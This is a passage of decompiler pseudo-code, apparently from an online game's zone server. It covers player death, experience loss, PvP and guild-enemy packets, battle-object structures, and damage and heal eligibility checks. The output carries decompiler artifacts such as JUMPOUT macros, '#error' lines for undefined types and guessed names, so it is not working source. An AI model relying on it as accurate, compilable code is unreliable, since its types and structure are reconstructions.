(AbnormalStateContainer::AbstateElementInObject *)((char *)v6 + 116); } else { std::vector>::insert( this, (std::vector >::iterator *)&_Val, (std::vector >::iterator)this->_Mylast, _Val); } } //----- (00423590) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_KilledBy(#331 *this, int a2, int damage, unsigned int aggrorate) { int v4; // ebx@1 char v5; // al@1 int v6; // eax@6 unsigned int v7; // ecx@6 char *v8; // ecx@6 int v9; // ecx@11 __int16 v10; // si@11 unsigned __int16 v11; // di@12 int v12; // edx@13 int v13; // ecx@14 int v14; // ecx@16 int v15; // edx@17 int v16; // eax@20 int v17; // eax@21 int v18; // eax@24 int v19; // esi@27 bool v20; // cf@27 int v21; // eax@28 int v22; // eax@30 int v23; // eax@32 int v24; // eax@34 int v25; // esi@38 void *v26; // edi@38 int v27; // edi@39 _DWORD *v28; // edi@41 int v29; // eax@41 int v30; // edx@43 int v31; // edi@43 unsigned __int16 v32; // ST34_2@45 unsigned __int16 v33; // ax@45 int v34; // eax@46 int v35; // eax@49 char *v36; // edi@49 int v37; // eax@49 ZoneBaseSession *v38; // eax@51 char *v39; // eax@52 int v40; // eax@54 int v41; // eax@57 unsigned int v42; // ST34_4@58 unsigned int v43; // eax@58 char *v44; // edi@59 ZoneBaseSession *v45; // eax@61 int v46; // edi@62 double v47; // st7@62 double v48; // st6@62 double v49; // st5@63 double v50; // st7@66 unsigned __int64 v51; // qax@68 signed int v52; // ecx@68 char *v53; // edi@71 int v54; // eax@73 char *v55; // esi@75 int v56; // eax@75 int v57; // eax@75 char v58; // al@76 char *v59; // edi@76 int v60; // eax@77 int v61; // eax@77 int v62; // eax@80 int v63; // eax@80 ZoneBaseSession *v64; // eax@82 char *v65; // [sp+34h] [bp-BCh]@2 int (__thiscall *v66)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // [sp+38h] [bp-B8h]@0 int pkcount; // [sp+48h] [bp-A8h]@11 std::vector > *pkcounta; // [sp+48h] [bp-A8h]@24 int pkcountb; // [sp+48h] [bp-A8h]@49 float pkcountc; // [sp+48h] [bp-A8h]@65 int lostexp; // [sp+4Ch] [bp-A4h]@20 int lostexpa; // [sp+4Ch] [bp-A4h]@43 int Start; // [sp+50h] [bp-A0h]@0 int Starta; // [sp+50h] [bp-A0h]@43 ITEM_INVEN loc; // [sp+54h] [bp-9Ch]@23 __int16 v76; // [sp+5Ah] [bp-96h]@13 FunctionEntarance _; // [sp+64h] [bp-8Ch]@1 char tmp; // [sp+68h] [bp-88h]@30 int v79; // [sp+6Ch] [bp-84h]@30 int v80; // [sp+ECh] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_KilledBy"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_KilledBy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_KilledBy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_BYTE *)(v4 + 7416); v80 = 0; if ( !(v5 & 8) ) { *(_BYTE *)(v4 + 7416) = v5 | 8; if ( **(_BYTE **)(v4 + 3716) == 5 ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth((void *)v4); if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 988))(v4, 291) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1352))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1136))(v4) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff((void *)v4); if ( *(_DWORD *)(v4 + 92168) != 4 ) { *(_DWORD *)(v4 + 92156) = 0; *(_DWORD *)(v4 + 92160) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *(_DWORD *)(v4 + 92172) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *(_DWORD *)(v4 + 92168) = 0; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); v10 = *(_WORD *)(*(_DWORD *)(v9 + 3488) + 12 * *(_WORD *)(v9 + 3494) + 4); pkcount = v9; while ( 1 ) { v11 = *(_WORD *)(v9 + 3484); if ( v10 >= v11 ) break; v12 = *(_DWORD *)(v9 + 3488); v76 = *(_WORD *)(v12 + 12 * (unsigned __int16)v10 + 4); if ( *(_BYTE *)(v12 + 12 * (unsigned __int16)v10 + 8) ) v13 = *(_DWORD *)(v12 + 12 * (unsigned __int16)v10); else v13 = 0; v14 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v13 + 4)); if ( v10 < v11 && (v15 = v12 + 12 * (unsigned __int16)v10, *(_BYTE *)(v15 + 8)) ) { (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v14 + 20))(v4, *(_DWORD *)v15); v10 = v76; v9 = pkcount; } else { (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v14 + 20))(v4, 0); v10 = v76; v9 = pkcount; } } lostexp = 0; v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); if ( *(_WORD *)(v16 + 3484) > 0x127u ) { v17 = *(_DWORD *)(*(_DWORD *)(v16 + 3488) + 3540); if ( v17 ) { Start = *(_DWORD *)(v17 + 20); lostexp = *(_DWORD *)(v17 + 76); } } if ( ShineObjectClass::ShinePlayer::sp_FindItemFromInventory((void *)v4, unk_12510DF4, (int)&loc) ) { pkcounta = &AbnormalStateShelter::AbstateShelter::operator__(&g_AbstateShelter, *(_DWORD *)(v4 + 32058))->ab_List; std::vector>::resize( pkcounta, 0); for ( LOWORD(v18) = *(_WORD *)(*(_DWORD *)(v4 + 3692) + 12 * *(_WORD *)(v4 + 3698) + 4); ; LOWORD(v18) = v76 ) { if ( (unsigned __int16)v18 >= *(_WORD *)(v4 + 3688) ) break; v19 = *(_DWORD *)(v4 + 3692); v20 = (unsigned __int16)v18 < *(_WORD *)(v4 + 3688); v18 = (unsigned __int16)v18; v76 = *(_WORD *)(v19 + 12 * (unsigned __int16)v18 + 4); if ( v20 ) { v21 = v19 + 12 * v18; if ( *(_BYTE *)(v21 + 8) ) { if ( *(_DWORD *)v21 ) { memcpy(&tmp, *(const void **)v21, 0x74u); v22 = *((_DWORD *)&unk_604F0C + 3 * v79); LOBYTE(v80) = 1; if ( v22 && *(_DWORD *)v22 ) { v23 = *(_DWORD *)(*(_DWORD *)v22 + 34); if ( v23 >= 391 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v23); LOBYTE(v80) = 0; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)&tmp); continue; } v24 = dword_608008[v23]; if ( v24 && *(_DWORD *)(*(_DWORD *)v24 + 244) == 1 ) std::vector>::push_back( pkcounta, (AbnormalStateContainer::AbstateElementInObject *)&tmp); } LOBYTE(v80) = 0; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)&tmp); } } } } } v25 = a2; ShineObjectClass::ShineMobileObject::so_KilledBy((#331 *)v4, a2, damage, aggrorate); v26 = (void *)(*(_DWORD *)(v4 + 32047) + 29); if ( *(_BYTE *)(v4 + 89087) ) { memcpy(v26, (const void *)(v4 + 89040), 0x2Cu); v27 = (int)((char *)v26 + 44); *(_WORD *)v27 = *(_WORD *)(v4 + 89084); *(_BYTE *)(v27 + 2) = *(_BYTE *)(v4 + 89086); v25 = a2; *(_BYTE *)(v4 + 89087) = 0; } if ( lostexp ) { v28 = dword_6084A4[0]; (*(void (__thiscall **)(int, int, _DWORD, signed int, _DWORD *, int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v4 + 1528))( v4, v4, *(_DWORD *)(*dword_6084A4[0] + 34), 1, dword_6084A4[0], Start, 0, lostexp, 0, 9); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, *(_DWORD *)(*v28 + 34)); v29 = v28[11]; if ( v29 ) { (*(void (__thiscall **)(int, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 992))( v4, *(_DWORD *)(*v28 + 34), *(_DWORD *)(v29 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)v4, *(_DWORD *)(*v28 + 34), *(_DWORD *)(v28[11] + 43), 1); } } v30 = *(_DWORD *)v4; *(_DWORD *)(v4 + 32096) = 0; *(_DWORD *)(v4 + 89928) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; lostexpa = 0; v31 = (*(int (__thiscall **)(int))(v30 + 1044))(v4); Starta = v31; if ( v25 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v25 + 2112))(v25) ) { lostexpa = ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob, v66); v32 = *(_WORD *)(v25 + 4); v33 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1716))(v25); CCharacterTitleZone::CT_KilledByMob((CCharacterTitleZone *)(v4 + 89936), v33, v32); } else { v34 = *(_DWORD *)(v4 + 98); if ( v34 && (*(_BYTE *)(v34 + 84) || *(_BYTE *)(*(_DWORD *)(v34 + 16) + 54) == 4) ) { lostexpa = ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField, v66); v35 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 900))(v25); v36 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9290; pkcountb = v35; *((_WORD *)v36 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 832))(v25); v37 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 836))(v25); *((_DWORD *)v36 + 2) = pkcountb; *((_DWORD *)v36 + 1) = v37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v38 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v38); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 12); } v39 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9291; *((_WORD *)v39 + 1) = *(_WORD *)(v25 + 4); *((_WORD *)v39 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v39 + 6) = pkcountb; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v40 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v40 + 12))(v40, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 10); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v41 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 764))(v25); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v41 + 12))(v41, v25, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 10); } } v42 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1996))(v4); v43 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1996))(v25); if ( CGuildZone::IsGuildEnemy(&gGuild, v43, v42) ) { v44 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29765; *((_WORD *)v44 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 832))(v25); *((_WORD *)v44 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v45 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v45); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 6); } } v46 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1044))(v25); ++*(_DWORD *)(Starta + 32); ++*(_DWORD *)(v46 + 36); v47 = (double)*(unsigned int *)(Starta + 40); v48 = (double)*(unsigned int *)(v46 + 40); if ( v47 >= v48 ) v49 = v48; else v49 = v47; pkcountc = v49 / (v48 + v47); if ( v48 <= v47 ) v50 = 1.0 - pkcountc; else v50 = pkcountc * pkcountc + pkcountc * pkcountc; v51 = (unsigned __int64)(v50 * 1000.0); v52 = *(_DWORD *)(Starta + 40) - v51; if ( (unsigned int)v52 < 0x3E8 ) v52 = 1000; *(_DWORD *)(Starta + 40) = v52; *(_DWORD *)(v46 + 40) += v51; v31 = Starta; } } ShineObjectClass::ShinePlayer::sp_KQElementFunction((void *)v4, KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus); *(_DWORD *)(v31 + 28) += 50; v53 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4173; v53[2] = 2; v53[3] = 50; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v54 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v54 + 12))(v54, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 4); } *(_DWORD *)(v4 + 92692) = clockwatch.cw_CurrTick + 620 * (unsigned __int8)v53[2]; if ( v25 ) { v58 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 2112))(v25); v59 = gpp.pp_Buffer; if ( !v58 ) { *(_WORD *)gpp.pp_Buffer = 1065; *(_DWORD *)(v59 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 836))(v25); v62 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v59 + 6) = *(_DWORD *)v62; *(_DWORD *)(v59 + 10) = *(_DWORD *)(v62 + 4); *(_DWORD *)(v59 + 14) = *(_DWORD *)(v62 + 8); v63 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v59 + 18) = *(_DWORD *)v63; *(_DWORD *)(v59 + 22) = *(_DWORD *)(v63 + 4); *(_DWORD *)(v59 + 26) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v59 + 30) = 0; v59[34] = 0; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_KilledBy : Packet Too Long", 35); goto LABEL_83; } LABEL_82: v64 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v64); goto LABEL_83; } *(_WORD *)gpp.pp_Buffer = 1067; *(_DWORD *)(v59 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v60 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v59 + 6) = *(_DWORD *)v60; *(_DWORD *)(v59 + 10) = *(_DWORD *)(v60 + 4); *(_DWORD *)(v59 + 14) = *(_DWORD *)(v60 + 8); v61 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v59 + 18) = *(_DWORD *)v61; *(_DWORD *)(v59 + 22) = *(_DWORD *)(v61 + 4); *((_WORD *)v59 + 13) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1716))(v25); *(_QWORD *)(v59 + 28) = lostexpa; } else { v55 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1067; *(_DWORD *)(v55 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v56 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v55 + 6) = *(_DWORD *)v56; *(_DWORD *)(v55 + 10) = *(_DWORD *)(v56 + 4); *(_DWORD *)(v55 + 14) = *(_DWORD *)(v56 + 8); v57 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v55 + 18) = *(_DWORD *)v57; *(_DWORD *)(v55 + 22) = *(_DWORD *)(v57 + 4); *((_WORD *)v55 + 13) = -1; *(_QWORD *)(v55 + 28) = lostexpa; } if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_KilledBy : Packet Too Long", 36); LABEL_83: (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 2512))(v4, 1, 0, 0); v80 = -1; v65 = "ShineObjectClass::ShinePlayer::so_KilledBy"; goto LABEL_84; } goto LABEL_82; } v80 = -1; v65 = "ShineObjectClass::ShinePlayer::so_KilledBy"; LABEL_84: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v65); } // 423590: inconsistent function type and number of purged bytes //----- (00423EA0) -------------------------------------------------------- void __thiscall SpyNet::EspionageAgent::ea_SRT_GETHEAL(SpyNet::EspionageAgent *this, #331 *a2, int heal, int aggrorate) { char *v4; // ebx@1 unsigned int v5; // edx@1 v4 = (char *)this + 16 * this->ea_Pointer.value; *(_DWORD *)v4 = 1; *((_DWORD *)v4 + 1) = a2; *((_DWORD *)v4 + 2) = heal; *((_DWORD *)v4 + 3) = aggrorate; v5 = this->ea_Pointer.mask & (this->ea_Pointer.value + 1); this->ea_Pointer.value = this->ea_Pointer.mask & (this->ea_Pointer.value + 1); this->ea_SecretReport[v5].sr_Type = 0; } //----- (00423F00) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this) { this->bos_Defender = -1; this->bos_Attacker = -1; this->bos_MyHealKill = 0; this->bos_MyHealHit = 0; this->bos_AbsoluteAggro = 0; this->bos_Heal = 0; this->bos_Damage = 0; this->bos_DamageRateAggro = 1000; this->bos_AbstateList.statenum = 0; *(_DWORD *)&this->gap84[12] = 0; this->bos_StealedEnchant = 391; } //----- (00423F40) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this, unsigned __int16 attacker, unsigned __int16 defender) { memcpy(this, &battleobjectstructclear, 0x98u); this->bos_Attacker = attacker; this->bos_Defender = defender; } //----- (00423F70) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObject::BattleObject(BattleObjectGroup::BattleObject *this) { this->bo_Struct.bos_Defender = -1; this->bo_Struct.bos_Attacker = -1; this->bo_Struct.bos_MyHealKill = 0; this->bo_Struct.bos_MyHealHit = 0; this->bo_Struct.bos_AbsoluteAggro = 0; this->bo_Struct.bos_Heal = 0; this->bo_Struct.bos_Damage = 0; this->bo_Struct.bos_DamageRateAggro = 1000; this->bo_Struct.bos_AbstateList.statenum = 0; *(_DWORD *)&this->bo_Struct.gap84[12] = 0; this->bo_Struct.bos_StealedEnchant = 391; MoveManager::MoveManager((DiceTaiSai *)&this->bo_SetItem); } //----- (00423FC0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObject::_BattleObject(BattleObjectGroup::BattleObject *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->bo_SetItem); } //----- (00423FD0) -------------------------------------------------------- unsigned __int16 __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(SkillEffectApply::SkillBlastEffectContainer *this) { unsigned __int16 result; // ax@1 result = (this->sbec_Index + 1) & 0x7FFF; this->sbec_Index = result; return result; } //----- (00423FF0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 14; return result; } //----- (00424020) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 59C104: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (00424040) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, BattleObjectGroup::BattleObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xD8u); return 1; } // 424056: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00424080) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, BattleObjectGroup::BattleObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xD8u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004240D0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, BattleObjectGroup::BattleObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xD8u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00424120) -------------------------------------------------------- void __cdecl std::fill(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Val) { SkillEffectApply::SkillBlastEffect *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x2Cu); } } //----- (00424150) -------------------------------------------------------- void __cdecl std::fill(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *i; // eax@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v4; // edi@2 for ( i = _First; i != _Last; v4->hpchangeorder = _Val->hpchangeorder ) { v4 = i; *(_DWORD *)&i->handle = *(_DWORD *)&_Val->handle; i->hpchange = _Val->hpchange; i->resthp = _Val->resthp; ++i; } } //----- (00424190) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_backward_opt(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v4; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->hpchangeorder = v4->hpchangeorder ) { --v4; --result; *(_DWORD *)&result->handle = *(_DWORD *)&v4->handle; result->hpchange = v4->hpchange; result->resthp = v4->resthp; } return result; } //----- (004241D0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::_BattleObjectList(BattleObjectGroup::BattleObjectList *this) { BattleObjectGroup::BattleObjectList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->bol_Array, 0xD8u, 1024, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::_BattleObject); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 59C104: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (00424240) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"); } //----- (00424280) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo(#331 *this, char *a2) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 char result; // al@4 int v11; // eax@9 int v12; // eax@10 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v14; // [sp+14h] [bp-4h]@1 v2 = (void *)this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v14 = 0; v4 = (*(int (__thiscall **)(void *))(v3 + 1352))(v2); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v6[16] = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1996))(v2); v7 = (*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1352))(a2); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; (*(void (__thiscall **)(char *))(*(_DWORD *)a2 + 1996))(a2); if ( !(*((_BYTE *)v2 + 7416) & 4) && *((_WORD *)v2 + 2) != *((_WORD *)a2 + 2) && ShineObjectClass::ShineObject::so_SubLayer_CanAttack(v2, (int)a2) ) { if ( *(_DWORD *)((char *)v2 + 98) && (unsigned __int8)(*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1136))(a2) != 3 && (unsigned __int8)(*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1136))(a2) && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) != 3 && ((v11 = (*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1720))(a2)) == 0 || (v12 = *(_DWORD *)(*(_DWORD *)v11 + 99), v12 != 18) && v12 != 19 && v12 != 20) ) { v14 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } else { v14 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); result = 0; } return result; } // 424280: inconsistent function type and number of purged bytes //----- (00424470) -------------------------------------------------------- #error "424470: undefined or illegal type '#748' (funcsize=43)" //----- (00424520) -------------------------------------------------------- #error "424520: undefined or illegal type '#331' (funcsize=111)" //----- (00424690) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_ICanHealTo(void *this, int a2) { void *v2; // esi@1 bool v3; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v2 + 2340))(v2, a2, "smo_ICanHealTo") == 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( 